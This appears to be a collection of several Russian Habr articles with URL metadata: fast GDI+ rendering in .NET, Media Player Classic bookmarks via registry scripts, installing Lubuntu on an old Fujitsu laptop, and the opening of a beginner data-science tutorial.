Далее, я обратил внимание на DirectX, тем более у нас для WPF появился полезный контрол [D3DImage](http://msdn.microsoft.com/en-us/library/system.windows.interop.d3dimage.aspx). Я перепробовал много движков, но ни один из них не давал удобного изящного способа рисовать GDI+ Bitmap из памяти. Некоторые работали и вовсе только с DX10-11. Ближе всех к цели оказался [SlimDX](http://slimdx.org/). В любом случае, фронтэнд для контрола оказывался некрасивым. Все эти движки… мягко говоря избыточны, для моей простой задачи.
Но решение есть.
И, к моему удовольствию оно получилось достаточно простым и универсальным, именно как надо, будет работать даже на Win2K и .Net 2.0.
Когда я был молодым, и у меня кажется еще был 5-ти дюймовый дисковод, я пользовался BitBlt и SetDIBitsToDevice. Потом, с переходом на .Net я все еще пользовался ими и Win32 GDI BITMAP, поскольку пользовался старыми наработками, потом всё забылось. Но вдруг, сейчас мне понадобился нестандартный контрол с попиксельной графикой, да плюс с быстрой отрисовкой. Вот так я и попал в небольшой тупик.
GDI+ Bitmap чертовски удобен со своими градиентами, антиалиасингом, и альфой. Очень вкусные картинки получаются. Нетрудно подготавливать нужный Bitmap в памяти, и даже делать это быстро, если кешировать б**о**льшую часть изображения, но быстро их отображать на экране очевидного способа нет.
Пришлось вспоминать не очевидный:
```
[DllImport("gdi32")]
extern static int SetDIBitsToDevice(HandleRef hDC, int xDest, int yDest, int dwWidth, int dwHeight, int XSrc, int YSrc, int uStartScan, int cScanLines, ref int lpvBits, ref BITMAPINFO lpbmi, uint fuColorUse);
```
И **ключевой** метод в итоге получился таким:
```
public void Paint(HandleRef hRef, Bitmap bitmap)
{
if (bitmap.Width != _width || bitmap.Height != _height)
Realloc(bitmap.Width, bitmap.Height);
//_gcHandle = GCHandle.Alloc(pArray, GCHandleType.Pinned);
BitmapData BD = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height),
ImageLockMode.ReadOnly,
PixelFormat.Format32bppArgb);
Marshal.Copy(BD.Scan0, _pArray, 0, _width * _height);
SetDIBitsToDevice(hRef, 0, 0, _width, _height, 0, 0, 0, _height, ref _pArray[0], ref _BI, 0);
bitmap.UnlockBits(BD);
//if (gcHandle.IsAllocated)
// _gcHandle.Free();
}
```
По поводу закомменченых строк. Вообще, они должны быть раскомментированы, чтобы облегчить жизнь GC, но ради хардкорных FPS, если размер \_pArray не менялся, GCHandle у меня пинится один раз в Realloc(). Хотя… когда их у нас 15000, плюс-минус пара сотен FPS роли уже не играют, хе-хе. Если раскомментить в Paint() — не забудьте закомментить пин в Realloc().
Вот так, ценой всего 100 строк кода (полностью код в прилагаемом проекте ниже) мы решили проблему FPS для System.Drawing.Bitmap, и никаких монструозных GPU-движков и фреймворков. Возможен гнев евангелистов Microsoft «Так делать нельзя, это против принятых практик программирования», но что поделать.
Весь фронтэнд для нужного контрола изящно сводится к нескольким строкам:
```
RazorPainter RP = new RazorPainter();
graphics = Control1.CreateGraphics();
hDCRef = new HandleRef(graphics, graphics.GetHdc());
public void Render()
{
RP.Paint(hDCRef, BMP);
}
RP.Dispose();
graphics.Dispose();
```
**А теперь печеньки**! Одна из причин перехода на «темную сторону» GDI32. Дело в том, что с таким подходом мы абсолютно равнодушны к UI Thread и Invoke его. Ради рекордных FPS смело создаем отдельный полноценный Thread и в нем жестоко:
```
renderthread = new Thread(() =>
{
while (true)
Render();
});
renderthread.Start();
```
Есть еще небольшая деталь. Поскольку ОС не в курсе нашего хулиганства с памятью, то в оконной WndProc она бесполезно и бессмысленно, но упрямо затирает наш контрол Background Color. Избавим ОС от лишних мучений (и немножко повысим FPS) таким образом:
```
public RazorBackend()
{
InitializeComponent();
SetStyle(ControlStyles.DoubleBuffer, false);
SetStyle(ControlStyles.UserPaint, true);
SetStyle(ControlStyles.AllPaintingInWmPaint, true);
SetStyle(ControlStyles.Opaque, true);
}
```
Вообще, конечно FPS у всех будет разный, и дело совсем не в видеокарте — тут роялят частота шины, процессора, памяти, их пропускная способность. В общем, почти квантовые эффекты для обычного юзера.
Итак, я добился 15600 FPS, приложение занимает ~30Мб памяти, а вот утилизация процессора 8% меня совсем не порадовала. Мягко выражаясь, это много для 3930K. И тут в моей голове «возвопил» видеодрайвер: «Хозяин, у меня кажется эпилепсия!», и монитор: «А я вообще только 60Hz умею!». Разумеется нам такой FPS не нужен, и правильный цикл рендеринга будет что-то вроде этого:
```
rendertimer = new DispatcherTimer();
rendertimer.Interval = TimeSpan.FromMilliseconds(15); /* ~60 FPS on my PC */
rendertimer.Tick += (o, args) => Render();
rendertimer.Start();
```
Ну или по-другому, на ваш вкус. Утилизация процессора выходит в районе нуля + погрешность.
Далее WPF. Всё сложно и просто одновременно. «Контролы» WPF собственно контролами не являются (а иначе бы мы не могли их крутить и плющить), и у них нет DC. Все решается хостингом WindowsForms контрола в WPF при помощи WindowsFormsHost. В прилагаемом проекте именно WPF пример использования, но легко переделывается в чистый WindowsForms, благо фронтэнд прост как сапог.
Цикл рендеринга Bitmap в демо-проекте состоит всего из одной строчки:
```
GFX.Clear((drawred = !drawred) ? System.Drawing.Color.Red : System.Drawing.Color.Blue);
```
Разумеется FPS цикла рендеринга по большей части зависит от сложности рисования изначального Bitmap в памяти, а простая очистка его Graphics в демо-проекте — это дико быстрая блочная операция. Но я тестировал подход и скорость.
Пользуйтесь на здоровье, если понимаете что делаете и зачем. Исходники и билд, выложил на CodePlex под MIT лицензией:
<http://razorgdipainter.codeplex.com/>
(Заранее прошу прощения за несерьезное оформление проекта на CodePlex, если интересно, дооформлю до нормального OpenSource)
**UPD**: [alexanderzaytsev](https://habrahabr.ru/users/alexanderzaytsev/) Верно просигналил что мой вариант WPF реализации возможно не идеальный. Я же старался сделать его простым и понятным. Ключевая суть лишь в файле RazorPainter.cs, и демо-проект — это не образцовый паттерн его использования, он лишь демонстрирует возможность в WPF и показывает FPS.
Судя по резонансу, вероятно, мне стоит сделать настоящий OpenSource фреймворк из этого. Статью про контрол WinForms я уже пишу.
**UPD2**: Появилось продолжение поста: <http://habrahabr.ru/post/164885/>. Обновление сорцов и бинарников на CodePlex до v. 0.6 beta | https://habr.com/ru/post/164705/ | null | ru | null |
# Закладки в Media Player Classic Home Cinema
Если выбрать в настройках ведение истории и сохранение позиций просмотра, MPC HC может автоматически сохранять до 20-ти закладок на последнее место просмотра видеофайлов и столько же закладок для DVD. При возобновлении просмотра плеер будет начинать воспроизведение с последней позиции, если найдёт информацию о файле в своей базе (хранится она вместе с другими настройками или в реестре, или в ini-файле, в зависимости от выбора пользователя). Однако бывают условия, когда 20-ти закладок не хватает. Кто-то любит смотреть много фильмов параллельно, иногда откладывая просмотр на время. Кто-то слушает на MPC HC музыку (а ключи для неё используются те же самые: один большой альбом — и все закладки перезаписаны). Кто-то использует плеер для многократной тестовой проверки кодируемого видео. Наконец, одной учётной записью могут пользоваться сразу несколько членов семьи (например, дети могут смотреть мультфильмы, пока родители заняты). В общем, хотелось бы иметь надёжный способ сохранить закладку на нужный фильм и потом её восстановить.
В реестре данные хранятся в разделе `HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings`. Для видеофайлов используются пары ключей `File Name N` / `File Position N` (c `N` от 0 до 19). Для DVD используется один ключ `DVD Position N` (в том же диапазоне; плеер умудряется сохранять в одной загадочной цифровой записи как идентификцию DVD, так и место последнего просмотра).
Мне приходят в голову три способа создания пользовательских закладок при работе с реестрм: от самого простого и наименее гибкого до более сложного и тонкого. Конечно, пост не претендует на уровень rocket science. Описываются простые и удобные практические трюки.
#### I. Экспорт/импорт настроек при помощи самого плеера
Запускать экспорт приходится после закрытия плеера с фильмом, запустив MPC заново, потому что только перед закрытием обновляются данные о последних файлах в реестре. Создаётся .reg файл со всеми настройками (причём не только нужный нам раздел), и в этом ещё одно неудобство: при импорте настроек будет восстанавливаться не только нужная закладка, но и весь набор прежних настроек.
Попробуем немного улучшить положение (дальнейшие решения тестировались только в Windows XP).
#### II. Экспорт/импорт при помощи пакетного файла
Поскольку стандартные средства работы с реестром не позволяют экспортировать отдельные записи реестра, нам опять придётся иметь дело с целым разделом, но теперь объём можно сузить до нужного `HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings`. Дополнительные преимущества также в том, что нам не нужно открывать плеер заново и не нужно вручную вводить имя закладки, всё будет делаться автоматически.
##### 1. Пакетный файл
Проще некуда (сохраните как текстовый файл с расширением .bat):
```
@echo off
reg export "hkcu\Software\Gabest\Media Player Classic\Settings" "%~dpn1.reg"
```
Аргументом может быть последний видеофайл или папка с DVD. В той же директории создаётся одноимённый .reg-файл, который удобно потом импортировать одним щелчком перед возвратом к просмотру фильма.
##### 2. Интеграция в системный интерфейс
Чтобы не приходилось каждый раз связываться с командной строкой или перетаскивать видео на ярлычок пакетного файла, реализуем более удобную связь.
###### а. Реализация для Проводника
Добавим в контекстное меню файлов и папок вызов нашего пакетного файла. Для этого достаточно создать следующий текстовый файл, сохранить его в юникоде с расширением .reg и запустить на интеграцию (только замените пути к программе на ваши, не забывая удваивать слеши).
```
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\*\shell\* MPC bookmark]
[HKEY_CLASSES_ROOT\*\shell\* MPC bookmark\command]
@="E:\\DOC\\prg\\bat\\mpc_bm.bat \"%1\""
[HKEY_CLASSES_ROOT\Folder\shell\* MPC bookmark]
[HKEY_CLASSES_ROOT\Folder\shell\* MPC bookmark\command]
@="E:\\DOC\\prg\\bat\\mpc_bm.bat \"%1\""
```
###### б. Реализация для Total Commander
Те, кто больше привыкли к этому файловому менеджеру, могут создать кнопку на панели инструментов (можно продублировать её предыдущим рецептом с контекстным меню):
Тогда можно будет создавать ею закладку для того файла, который находится в фокусе активной вкладки после просмотра видео.
#### II. Экспорт/импорт при помощи скрипта на Perl
Тут мы можем достигнуть ещё большего удобства. Если кто-то не знаком с Perl, это не страшно: просто [скачайте и установите реализацию интерпретатора под Windows](http://www.activestate.com/activeperl/downloads), всё остальное тоже не составит труда.
При помощи скрипта мы сможем сохранять только нужные ключи. Если делать закладку сразу после просмотра видео, нам нужны будут только самые первые записи в истории, они же последние по времени просмотра: `File Name 0` + `File Position 0` или `DVD Position 0`. Вдобавок скрипт будет проверять идентичность файла-аргумента и последнего файла в истории плеера, чтобы мы случайно не оставили ошибочную закладку.
##### 1. Скрипт
Создайте следующий текстовый файл и сохраните его с расширением .pl:
```
################################################################################
use strict;
use warnings;
use Win32::TieRegistry;
################################################################################
$Registry->Delimiter("/");
my $movie = shift();
################################################################################
if ($movie && -d $movie) {
open(OUTPUT, '>:raw:encoding(UTF16-LE)', $movie . ".DVD.reg") or die "Cannot create the .reg file: $!\n";
print OUTPUT
"\x{FEFF}Windows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\\Software\\Gabest\\Media Player Classic\\Settings]\r\n",
'"DVD Position 0"="',
$Registry->{'HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings//DVD Position 0'}, "\"\r\n\r\n";
close(OUTPUT) or die "Cannot close the .reg file: $!\n";
}
elsif ($movie && -f $movie) {
my $last_file = $Registry->{'HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings//File Name 0'};
if (lc($movie) eq lc($last_file)) {
open(OUTPUT, '>:raw:encoding(UTF16-LE)', $last_file =~ s/\.\w+$/.reg/r) or die "Cannot create the .reg file: $!\n";
print OUTPUT
"\x{FEFF}Windows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\\Software\\Gabest\\Media Player Classic\\Settings]\r\n",
'"File Name 0"="',
$last_file =~ s/\\/\\\\/gr, "\"\r\n",
'"File Position 0"="',
$Registry->{'HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings//File Position 0'}, "\"\r\n\r\n";
close(OUTPUT) or die "Cannot close the .reg file: $!\n";
}
else {
print "The input file does not match the last played one:\n\n$movie\n\n$last_file\n\n";
system('pause');
}
}
else {
my $last_file = $Registry->{'HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings//File Name 0'};
open(OUTPUT, '>:raw:encoding(UTF16-LE)', $last_file =~ s/^.+\\//r =~ s/\.\w+$/+Last_DVD.reg/r) or die "Cannot create the .reg file: $!\n";
print OUTPUT
"\x{FEFF}Windows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\\Software\\Gabest\\Media Player Classic\\Settings]\r\n",
'"File Name 0"="',
$last_file =~ s/\\/\\\\/gr, "\"\r\n",
'"File Position 0"="',
$Registry->{'HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings//File Position 0'}, "\"\r\n",
'"DVD Position 0"="',
$Registry->{'HKEY_CURRENT_USER/Software/Gabest/Media Player Classic/Settings//DVD Position 0'}, "\"\r\n\r\n";
close(OUTPUT) or die "Cannot close the .reg file: $!\n";
}
################################################################################
```
Если скрипту передаётся папка, он сохраняет только закладку на последний DVD в .reg-файле с названием папки (проверить, тот ли это DVD, мне не представляется возможным: если кто-то знает, как это сделать, напишите, пожалуйста, в комментариях; но если делать закладку сразу после просмотра фильма и закрытия плеера, можно не волноваться за её правильность). Если передаётся файл, скрипт проверяет идентичность этого файла и последнего файла в истории; если файлы совпадают, скрипт создаёт одноимённый .reg-файл с двумя нужными ключами, если не совпадают — выдаёт сообщение об ошибке. Если скрипту вообще не передаются аргументы, он создаёт сводный .reg-файл с информацией о последнем DVD и последнем видеофайле в текущей активной папке.
##### 2. Интеграция в системный интерфейс
Всё почти так же с минимальными изменениями (не забывайте прописывать ваши пути к программам).
###### а. Реализация для Проводника
Почему-то указания одного скрипта недостаточно, приходится задавать ещё и интерпретатор (при том, что расширение .pl добавлено в переменную PATHEXT):
```
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\*\shell\* MPC bookmark]
[HKEY_CLASSES_ROOT\*\shell\* MPC bookmark\command]
@="C:\\Perl\\bin\\perl.exe E:\\DOC\\prg\\perl\\var\\mpc_bm.pl \"%1\""
[HKEY_CLASSES_ROOT\Folder\shell\* MPC bookmark]
[HKEY_CLASSES_ROOT\Folder\shell\* MPC bookmark\command]
@="C:\\Perl\\bin\\perl.exe E:\\DOC\\prg\\perl\\var\\mpc_bm.pl \"%1\""
```
###### б. Реализация для Total Commander
Похожая кнопка:
---
Описанный механизм позволяет достичь такого состояния:
P. S. Конечно, есть ещё «Избранное» (Favorites) в самом плеере, но кому-то оно может показаться менее удобным: чтобы обновить закладку, то есть сменить время перехода в одном том же фильме, нужно удалять старую закладку и создавать новую; когда закладки находятся в папках рядом с фильмами, их легче искать и легче удалять за ненадобностью вместе с фильмами после просмотра; такие закладки доступны из всех учётных записей; их легче редактировать (хоть в Блокноте), если меняются имя файла или путь к нему. | https://habr.com/ru/post/149436/ | null | ru | null |
# Как я дал вторую жизнь некроноуту Fujitsu Siemens amilo pro v2035 с помощью lubuntu
Ещё со студенческой скамьи у меня остался ноутбук Fujitsu выпуска 2005 года(!), который тогда верой и правдой мне служил для постижения азов Паскаля и Си, серфинга интернетов и героев 3.
Рука не поднялась его выбросить или продать, и вот в один прекрасный день в 2022г я натолкнулся на бывшего любимца, стёр пыль с ностальгической надписи "Designed for Windows XP" и убедился, что он всё ещё работает. Немецкое качество, медаль за надёжность, как сказано на одном сайте отзывов об этом работяге.
Конечно же, более-менее современные ОС не рассчитаны на машину с одноядерным процессором Celeron 1500Mzh и 1Gb оперативной памяти, поэтому я обратился к легким дистрибутивам линукса.
Целью было поупражняться с линуксом и получить работающую консоль для повседневных задач, вроде запуска какого-нибудь простейшего бота, установки напоминалок крона или хостинга небольшой веб-странички для домашних нужд.
Трудяга собственной персонойУстанавливаем lubuntu
---------------------
К сожалению, этот ноут слишком старый для 64-битной архитектуры, и нам придётся использовать 32-битную версию.
Последний дистрибутив lubuntu, который поддерживает 32-битные образы, это 18.04.5
Скачал его [отсюда](https://cdimage.ubuntu.com/lubuntu/releases/18.04/release/).
Дальше, как обычно, записал его на флешку с помощью [Rufus](https://rufus.ie/ru/)
В биосе ноута проставляем приоритетную загрузку с флехи, грузимся с флехи и устанавливаем lubuntu. На этом шаге никаких препятствий не возникает, стандартная установка уровня виндовой, которая заняла около 10-15мин.
Проблемы
--------
Та-да, первая загрузка lubuntu. Взлетело!
И сразу бросается в глаза следующее:
* Нет сети
* Страшное разрешение экрана
Сеть
----
Мне было неохота обжимать лишний кабель для ноута, поэтому я решил подключать его к wifi.
В моем amilo стоит wi-fi адаптер фирмы Broadcom. На официальном сайте есть драйвера только для Windows XP. К счастью, удалось найти [статью](https://help.ubuntu.ru/wiki/broadcom#%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_offline) которая помогла.
Я использовал рекомендации из раздела "Установка Offline".
По сути они сводятся к установке 2-х пакетов:
<http://mirrors.kernel.org/ubuntu/pool/main/b/b43-fwcutter/b43-fwcutter_015-9_i386.deb>
<http://www.lwfinger.com/b43-firmware/broadcom-wl-5.100.138.tar.bz2>
Если бы я знал об этом заранее, я бы сразу скачал их на загрузочную флешку.
Ок, копируем на ноут файлы через флешку, выполняем:
```
sudo dpkg -i b43-fwcutter_015-9_i386.deb
tar xfvj broadcom-wl-5.100.138.tar.bz2
sudo b43-fwcutter -w /lib/firmware broadcom-wl-5.100.138/linux/wl_apsta.o
sudo modprobe -r b43
sudo modprobe b43
```
Ура, Wi-fi появляется! Если не появился - на передней панели есть кнопка включения-выключения адаптера, она может быть выключена.
Подключаемся к сети, которая умеет в спецификацию B (некроноут-с, что поделать).
Видеодрайвер
------------
У меня стоит чипсет UniChrome, инструкция для установки драйверов [здесь](https://help.ubuntu.com/community/OpenChrome).
Т.к. у нас уже есть сеть, больше никаких манипуляций с флешкой не требуется.
Я выполнял инструкции из раздела "openChrome 2D driver compilation".
```
sudo apt-get install build-essential
#Первая же команда, решила обновляться с сд-диска (не помню, когда я последний раз держал в руках такой)
#Убираю из sources.list:
sudo sed -i '/cdrom/d' /etc/apt/sources.list
sudo apt-get install build-essential
#проходит
sudo apt-get install autoconf automake1.9 libtool git xutils xutils-dev
#Эта команда спотыкается об automake1.9, такого в репозитории уже нет. Выполняю вместо:
sudo apt-get install autoconf automake libtool git xutils xutils-dev
#Со следующими командами, кажется, были какие-то проблемы (вижу в history консоли, что я вводил
#дважды, а также пробовал дополнительно sudo apt-get install xserver-xorg-video-openchrome):
sudo apt-get build-dep xserver-xorg-video-openchrome
sudo apt-get install pkg-config xserver-xorg-dev libxext-dev libxv-dev libxvmc-dev
#Но в итоге всё же можно переходить к главному:
git clone git://anongit.freedesktop.org/openchrome/xf86-video-openchrome
cd xf86-video-openchrome
./autogen.sh --prefix=/usr --enable-debug --enable-xv-debug
make
sudo make install
```
После этого я бы настоятельно рекомендовал себе из прошлого настроить доступ по ssh на машинку:
```
sudo apt update
sudo apt install openssh-server
#Убедиться, что работет:
sudo systemctl status ssh
```
Конечно же, по-хорошему нужно установить вход по ключу и запретить ssh логин для root, но необходимый минимум на данном этапе это просто включить доступ по ssh.
Я его не включил и был за то наказан.
Проблема с клавиатурой и мышкой
-------------------------------
После перезагрузки у меня полностью отвалилась клавиатура и тачпад.
В процессе установки системы я поставил галочку на авто логине, и теперь после логина на рабочий стол (кстати, наконец с приличным разрешением экрана), никакой input не работал. В т.ч. подключенные по usb клавы и мышки.
При этом, остальная система работала, wifi подключался. Даже всплывало какое-то окошко про установку дополнительных языков. Кнопка включения/выключения wifi также осталась рабочей.
Я не знаю, что именно привело к проблемам - установка драйверов для видеокарты на прошлом шаге или установка обновлений через GUI-утилиту Software&Updates,
которая радостно отрапортовала об обновлениях, целый час что-то ставила, а потом предложила перезагрузиться.
Довольно долго я гуглил проблему и рекомендации сводились к заходу через Recovery mode.
Если бы у меня был доступ по ssh, этого и последующих мучений, можно было бы избежать, т.к. решение проблемы это запуск команды apt install xserver-xorg-input-all.
Решение через Recovery
----------------------
Как зайти в Recovery - <https://www.maketecheasier.com/boot-recovery-mode-ubuntu>. Для моего GRUB сработало нажатие на Esc сразу после BIOS.
Выбираю Advanced options->Recovery mode.
Включаю Enable networking и затем Drop to root shell promt.
Теперь моя задача подключиться из рекавери к интернету. Помогли вот эти 2 ссылки:
<https://forum.ubuntu.ru/index.php?topic=295709.0> (удаление файлов в домашней директории из этой ссылки ни к чему не привело)
<https://habr.com/ru/post/315960/>
Командой iwconfig я понял, что у меня есть wlan0 и он готов к подключению.
Пользуюсь инструкцией из второй ссылки:
```
wpa_cli
> add_network
> set_network 0 ssid "Имя точки доступа"
> set_network 0 key_mgmt WPA-PSK
> set_network 0 pairwise CCMP
> set_network 0 psk "Пароль"
> enable_network 0
```
Затем, оказалось, что утилиты dhcpcd нет. Команда dhcpcd wlan0 не сработала. Зато сработало из первой статьи:
```
dhclient wlan0
```
Получили интернет! Всё что нужно, чтобы вернуть клавиатуру:
```
apt install xserver-xorg-input-all
```
После перезагрузки клава и мышь заработали.
Честно сказать, у меня остались проблемы с клавишами: Ctrl, Alt и Shift слева, почему-то не работают в lubuntu, и решения этой проблемы я не нашёл. Менял тип клавиатуры через "Keyboad Layout Handler", там даже есть Amilo. Пробовал найти нужные драйвера по коду устройства - безуспешно.
Заключение
----------
Все ссылки, файлы драйверов и более полные листинги введённых команд [сохранил здесь](https://github.com/newyorkin/lubuntu_on_amilo_pro_v2035).
В результате из старого ненужного ноутбука у меня получилась рабочая машинка, на которую можно даже установить Docker и выполнять мелкие задачи по автоматизации. | https://habr.com/ru/post/651625/ | null | ru | null |
# Вот вообще этим не занимался, и тут раз, и Data Science
Машинное обучение. Все о нём говорят. Много кто. Большая тема – но покрытая этой жуткой мистикой. Как магия – есть дар, сможешь что угодно сделать. Если нет... вообще не понятно, как подступиться. Постоянно фигурируют какие-то numpy, pandas, scikit-learn. На каждую из них фигурирует по двухтомному учебнику и куче доков.
Хочу в этой статье развеять мистику. Давайте чего-нибудь обучим, и найдём закономерности в большом наборе данных. Может и предскажем что-нибудь, даже. На простом, добром питоне – без всякой библиотеки в два гигабайта, и с минимальным входным порогом знаний.
Интересно? Прошу под кат.
1. Вступление
-------------
Есть игра. Популярная довольно игра, The Binding of Isaac называется. Идея простая - ты ходишь по подвалу и собираешь с пола всякие вещи. В зависимости от вещей, которые игрок набрал, игра может стать легче или сложнее. Надо применять стратегию.
Есть ещё человек. Этот человек регулярно играет в игру. Больше тысячи получасовых (а то и больше) эпизодов. Ветеран как игры, так и лёгких и непринуждённых рассказов про свою жизнь. Очень рекомендую его старые эпизоды, кстати, если вражеский язык не проблема – [вот](https://www.youtube.com/playlist?list=PLPSSZSQLOk1oNBkH-k_hsAH--68987KpN) ссылка.
Есть ещё приятный сюрприз.
Какие-то люди, очень преданные любимому видеоблоггеру, сделали в его славу очень удобоваримую базу данных. Каждое из (ох господи, как их много) *тысяч* разных прохождений удобно расчерчено в SQL табличке, и с помощью пары простых запросов можно узнать почти всё про то, что происходило в видео. [Вот](https://www.northernlion-db.com/) ссылка, если интересно кому. Давайте используем это.
Вопрос возникает естественно – вот бегает человек по подвалу, собирает хлам. Кладёт это на YouTube. Люди потом его судят – палец вверх, или, может, палец вниз. Люди судят его по тому, как интересно им смотреть. Обычно, это харизма и качество повествования самого Northernlion-а. Но их в таблице нет. ...Но есть собранные им вещи.
*А какие вещи делают видео интересным?*
Узнаем.
2. Готовимся к работе
---------------------
Прежде чем углубиться в теорию, давайте чуть поговорим, как загнать эту таблицу в наш любимый язык программирования.
*Если ваш любимый язык программирования не Python, то я с вами не согласен.*
Что нам нужно?
Нам нужно понятное преобразование того, что мы видим в базе в большую кучу примеров. Пример – то же самое, что пара из кучи всех вещей, которые собрали в одном видео, и рейтинга этого видео на YouTube. Мы поговорим об этом поглубже в следующей части, когда будем обсуждать машинное обучение как идею.
Вот образец (внимание, сложная структура данных):
Я пошутил. Она совсем не сложная.
У нас есть простой кортеж (tuple), в нём ID видео (чисто с декоративной целью), счётчик (словарь счетов – сколько раз вещь подобрали) для подобранных вещей и количество лайков в этом видео.
Ещё у нас есть файл в 21,5 мегабайт.
Как сделать из второго первое?
#### Идея 1: SQLite 3
Python это славный язык. Особенно славная в нём стандартная библиотека. Про один модуль unittest можно писать и писать... но это не наша тема. Давайте поговорим про модуль sqlite3.
Обычная идея базы данных в SQL заключается в специальном сервере, который всю жизнь свою занимается запросами к нему со стороны других модулей вашей программы. Это не самая приятная парадигма, если вы не хотите хостить сервер.
Однако в таком случае, таким как вы на помощь приходит SQLite 3 - друг, товарищ и альтернативная парадигма. Вместо отдельного сервера SQLite оперирует обычным файлом, который хранит в себе сущность нашей базы. Этим файлом мы можем оперировать прямо из стандартной библиотеки языка. Это очень приятно – приятнее, чем хостить сервер.
Но наш файл – не база данных SQLite 3. Наш файл – дамп PostgreSQL. Если заглянуть внутрь, увидим там последовательность команд. Запустив их все в консоли Postgres, мы как раз получим нашу базу. Это хорошо, но с модулем sqlite3 в языке Python это не сработает.
Давайте проведём исследование.
Исследование показало, что есть много хороших инструментов и подходов. Конвертировать вряд ли будет сложно, да и сам язык SQL вроде везде один и тот же... Но проблема ждёт впереди.
Все диалекты SQL очень разные. Казалось бы, язык один – но то, что работало бы, скажем, на MySQL, может и не сработать на PostgreSQL – или на SQLite, опять же. Конечно, база языка одна, и во многих случаях всё работает – это не так дико, как, скажем, конвертировать Java в Javascript.
Но конкретно в нашем случае не сработало. Переходим к плану Б.
#### Идея 2: PostgreSQL и Psycopg2
Давайте просто запустим сервер.
С кучей документации по быстрой установке это совершенно несложно. Простым запуском пары команд мы получаем сервер – специальная библиотека psycopg2 (её нужно скачать) позволяет нам легко работать с серверами PostgreSQL. Может быть, и с другими серверами. Но с PostgreSQL точно.
Напишем запрос!
Любой ресурс-вступление в SQL вам скажет, что краеугольный камень любого запроса к базе данных – следующее выражение.
`SELECT * FROM table`
Оно даёт нам всё, что есть в таблице `table`.
Давайте запустим это и посмотрим.
Сверху видим код, снизу результат. Круто.
Вместо \* можно поставить один столбец. Или несколько столбцов. Так мы можем собирать только те данные, которые нас интересуют.
Вот так, например.
Если посмотреть в нашу таблицу поглубже, мы увидим – она содержит ID. Эти ID очень полезны – они помогают найти элемент в другой таблице.
Давайте напишем скрипт, который для каждого прохождения (в одной таблице) добывает название видео, в котором это прохождение было (из другой таблицы).
Мы возьмём и добавим такую вещь как WHERE, которая фильтрует все ряды – и даёт нам только тот, который совпадает с каким-нибудь условием.
Это плохой скрипт. Не верьте мне на слово просто так – посчитайте, сколько запросов к базе данных (нашему Postgres, который пришлось запустить в предыдущей части) он делает. На каждый ряд таблицы он делает по запросу – и ещё один запрос, чтобы получить эти ряды. Это очень много – бедный Postgres. Давайте сделаем, чтобы запросов было меньше.
JOIN – команда, которая сделана специально для такой ситуации. Она берёт таблицу, в которой есть ID (или любой другой параметр) из другой таблицы – и вместо каждого ID нашлёпывает оттуда целый элемент.
Тут есть много нюансов – что если элементов с таким ID несколько? Если такого элемента нет? Если кому интересны подробности, рекомендую читать [документацию](https://www.postgresql.org/docs/current/tutorial-join.html). А тут можно посмотреть на исходный код и порадоваться, как мало запросов получилось.
Теперь, если мы хотим получить кучу пар типа (`видео`, `название вещи, которую мы подобрали`), вот таким запросом (снизу) мы можем воспользоваться. Про значения всех этих полей можно почитать в [документации нашей конкретной базы данных](https://northernlion-db.com/SqlDump/Description) – `event_type = 2`, например, означает событие типа “игрок подобрал вещь”. Это больше JOINов, чем то, с чем мы сталкивались выше – но принцип работает, и получаем мы как раз то, что нужно.
На этом можно и закончить – написать ещё по запросу на лайки к каждому видео, забить всё в массив и жить хорошо... но давайте поговорим ещё про GROUP BY.
GROUP BY позволяет нам превращать большие множества рядов в один. Тут на каждое видео у нас есть много пар – если мы превратим все эти пары в массив, наша жизнь будет чуть-чуть проще. Давайте объединим все пары с одинаковым `videos.id` в один ряд.
*(Примечание – этот запрос не работает.)*
Почему же не работает? Ответ простой - непонятно, что делать с `videos.likes` и `isaac_resources.name`.
Когда мы объединяем много разных рядов, из кучи разных значений в этих рядах всегда должно получиться одно. Куда пихать тогда все значения - в массив? Но массивы (по парадигме) в SQL считаются ересью. В отличие от столбцов, в которых значение всегда одно (или нет вовсе, но это тоже значение в своём роде), в массиве может быть несколько значений. Например, 5. Или 6. Или даже 8. Заранее неизвестно, а такую неизвестность в SQL не любят.
Обычно в GROUP BY для этого надо использовать [агрегатные функции](https://www.postgresql.org/docs/current/tutorial-agg.html). Мы можем получить (если в столбце числа), например, среднее. Это одно число. Или сумму – тоже одно число. Не пять, не восемь. Проблема усугубляется тем, что в разных диалектах (PostgreSQL, MySQL, SQLite) эти функции разные – и тут мы стоим на зыбком дне спецификации.
К счастью, несмотря на недостаток массивов в самом языке SQL, много серверов их кое-как всё же поддерживают. Так, например, в PostgreSQL есть такая функция ARRAY\_AGG() - которая нам и вернёт массив всех значений в столбце.
Так мы получаем наши примеры.
*(P.S.: Counter из модуля collections – хорошая штука, если вам надо что-то легко и изящно посчитать. Возьмите на заметку!)*
3. Что такое это обучение вообще?
---------------------------------
Ведущая парадигма в написании софта – писать код, чтобы решить проблему. Соответственно, чем сложнее проблема, тем сложнее код этот будет. Это называется software – наверное, читателю уже приходилось столкнуться с таким.
Машинное обучение даёт нам другую парадигму – написать код, умеющий учиться на примерах (или взять готовый), а потом вместо того, чтобы обрабатывать проблему вручную, как раз научить машину на примерах проблемы, ответ к которой надо найти. Это иногда называют [Software 2.0](https://medium.com/@karpathy/software-2-0-a64152b37c35). Звучит, несомненно, громко. Можно сказать, не заслуживает имени даже. Но в некоторых местах всё же применяется. Сама идея того, что есть алгоритмы, в которые достаточно запихать много данных, очень хороша – хотя бы тем, что отслеживать закономерности вручную это дело затратное и сложное.
Сегодня поговорим о такой вещи, как *линейная регрессия*. Крайне простая, но очень красивая штука, которая позволит нам сделать предсказание количества лайков, а потом смотреть и радоваться – таким точным оно в итоге будет.
